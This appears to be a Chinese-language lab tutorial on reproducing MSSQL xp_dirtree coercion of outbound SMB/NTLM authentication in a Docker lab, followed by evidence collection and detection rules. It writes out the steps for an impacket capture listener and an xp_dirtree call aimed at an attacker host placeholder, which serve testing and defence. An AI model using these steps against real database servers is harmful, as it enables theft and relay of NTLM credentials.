本文演示如何在授权的测试环境中复现并验证 Microsoft SQL Server(MSSQL)通过扩展存储过程 xp_dirtree 发起对外 SMB/NTLM 回连的能力;同时展示如何收集证据(SMB 日志 & pcap)、分析输出、以及在企业环境中检测与防护这类行为。

1.目标与背景

  • 目标:证明 MSSQL 可以通过扩展存储过程(xp_dirtree 等)发起到外部 SMB 的回连,从而泄露 NTLM 认证信息或触发中继攻击。
  • 场景:渗透测试或红队演练中,当无法直接获得数据库凭证时,诱导数据库出站连接用于凭证捕获或中继是一条常见路径。

2.环境准备

  • 主机要求:Linux(支持 Docker)或 Docker Desktop。建议至少 4GB 可用内存。
  • 已安装:Docker, docker-compose, git。
  • 网络:本教程使用 Docker 自建网络(lab-net),容器不会把 MSSQL 的 1433 暴露到公网(默认)。

3.一键部署

把下面文件保存为 docker-compose.yml

version: '3.8'
services:
  mssql-test:
    image: mcr.microsoft.com/mssql/server:2019-latest
    container_name: mssql-test
    environment:
      ACCEPT_EULA: "Y"
      MSSQL_SA_PASSWORD: "S3cureP@ssw0rd!"
    networks:
      - lab-net
    volumes:
      - mssqldata:/var/opt/mssql
    shm_size: '1g'

  attacker:
    image: ubuntu:20.04
    container_name: attacker
    tty: true
    stdin_open: true
    networks:
      - lab-net
    command: /bin/bash
    volumes:
      - ./work:/work

volumes:
  mssqldata:

networks:
  lab-net:
    driver: bridge
# 部署
docker-compose up -d

# 进入 attacker 容器交互式 shell
docker exec -it attacker /bin/bash

4.在 attacker 容器里准备工具

attacker 里运行:

apt update && apt install -y python3 python3-pip git tcpdump netcat curl vim

pip3 install impacket

git clone https://github.com/YOLOP0wn/yolo-mssqlclient.git /work/yolo-mssqlclient

cd /work/yolo-mssqlclient

5.启动 SMB 监听(在 attacker)

在 attacker 开一个终端 A,创建共享并启动 impacket 的 smbserver(前台,方便实时观察):

mkdir -p /tmp/SMBShare

echo "SMB test" > /tmp/SMBShare/README.txt

python3 -m impacket.smbserver SMBShare /tmp/SMBShare

或后台运行并写日志:

nohup python3 -m impacket.smbserver SMBShare /tmp/SMBShare > /tmp/smbserver.log 2>&1 &

tail -f /tmp/smbserver.log

输出 [*] Service started。当 MSSQL 发起连接时,你会看到 Client at <mssql-ip> connected to share SMBShare 等行与 NTLM 协商信息。

6.触发 xp_dirtree(在 attacker 的另一个终端 B)

获取容器 IP(宿主机执行或在 attacker 内执行):

# 宿主机
docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' mssql-test

docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' attacker
# 在 attacker 容器里也可以通过环境变量或 net-tools 获取

生成 SQL 文件(不要使用 GO,本客户端不解析 GO):

cat > /tmp/cmds_xp_min.sql <<'SQL'
SELECT @@version;
EXEC master..xp_dirtree '\\<ATTACKER_IP>\SMBShare';
SQL

运行:

python3 yolo-mssqlclient.py 'sa:S3cureP@ssw0rd!@<MSSQL_IP>' -file /tmp/cmds_xp_min.sql -debug

注意:如果密码包含特殊字符(例如 !),在 bash 中用单引号包住 target 字符串或转义 !'sa:S3cureP@ssw0rd!@<MSSQL_IP>'(把整个参数放单引号内)。

7.观察与证据采集

  1. 在 smbserver 终端(A)观察是否有 Client at <MSSQL_IP> connected to share SMBShareAUTHENTICATE_MESSAGE 等行。
  2. 在 attacker 上抓包:
tcpdump -n -i any host <MSSQL_IP> and port 445 -w /tmp/smb_from_mssql.pcap -c 200
# 触发 xp_dirtree 后查看

tcpdump -r /tmp/smb_from_mssql.pcap -n -q
  1. 保存 yolo 输出:
python3 yolo-mssqlclient.py 'sa:...@<MSSQL_IP>' -file /tmp/cmds_xp_min.sql -debug | tee /tmp/yolo_out.log
  1. 打包证据:
mkdir -p /work/evidence
cp /tmp/smbserver.log /tmp/smb_from_mssql.pcap /tmp/yolo_out.log /work/evidence/
tar czvf /work/evidence.tar.gz -C /work evidence

8.常见问题

  • 如果 nc/nc -vz 连接 1433 无响应,检查 Docker 网络是否在同一网段(docker network connect lab-net mssql-test)。
  • yoloevent not found! 相关,使用单引号或 set +H 关闭 bash 历史扩展。
  • GO:不要在脚本中使用 GOyolo 不处理它(会被当作 T-SQL 执行并报错)。
  • xp_cmdshell:在很多 Linux SQL Server 镜像上 xp_cmdshell 受到限制或不可用(如你实验所见),不要指望在该镜像上一定能启用。若必须测试 xp_cmdshell,请在受控 Windows + SQL Server Developer 环境中重建实验。

9.解读输出(FAQ)

  • yolo 的 -debug 输出中 [*] Encryption required, switching to TLS + ACK: Result: 1 - Microsoft SQL Server ... → 表示连接成功并进入 TDS 会话。
  • xp_dirtree 若显示表头但没有行:可能共享为空、权限不足或枚举被限制。验证方法:在共享里创建子目录/文件,再重试;并查看 smbserver 日志是否有连接。
  • 在 smbserver 日志看到 AUTHENTICATE_MESSAGE、NTLM 信息 → 你已成功捕获 NTLM 握手数据(可用于检测/中继研究,但请勿在未授权环境滥用)。

10.示例检测规则

下面给出一些可放入 SIEM / IDS / Host EDR 的检测思路及示例(可直接改写到你的规则库中)。

1) 网络层(阻断与告警)

  • 阻断:禁止数据库服务器对外 445 的出站。
  • IDS 策略(Suricata/Snort)示例(伪代码)
alert tcp any any -> any 445 (msg:"DB server outbound SMB from SQL process"; sid:1000001; rev:1;)
  • 或在网络流日志中查找:源 IP 为数据库主机,目的端口为 445 的非白名单目的地。

2) SQL 审计 / Extended Events 示例

在 SQL Server 上启用扩展事件或审计规则来记录对 xp_dirtreexp_cmdshellsp_configuresp_addlinkedserver 的调用。例如(简化的 Extended Events,示意):

-- 创建扩展事件会话(示例)
CREATE EVENT SESSION [AuditDangerousProcedures] ON SERVER
ADD EVENT sqlserver.sp_statement_completed (
    ACTION(sqlserver.sql_text, sqlserver.session_id)
    WHERE sqlserver.like_i_sql_unicode_string(sqlserver.sql_text, '%xp_dirtree%')
)
ADD TARGET package0.ring_buffer;
ALTER EVENT SESSION [AuditDangerousProcedures] ON SERVER STATE = START;

#(把语句改写为你环境可用的版本并确保性能考虑)

3) SIEM / Splunk 查询示例

index=network_logs dest_port=445 src_ip=<DB_SERVER_IP> | stats count by dest_ip

或者针对 Windows 事件 / Sysmon 检测 SQL Server 进程建立网络连接到 445。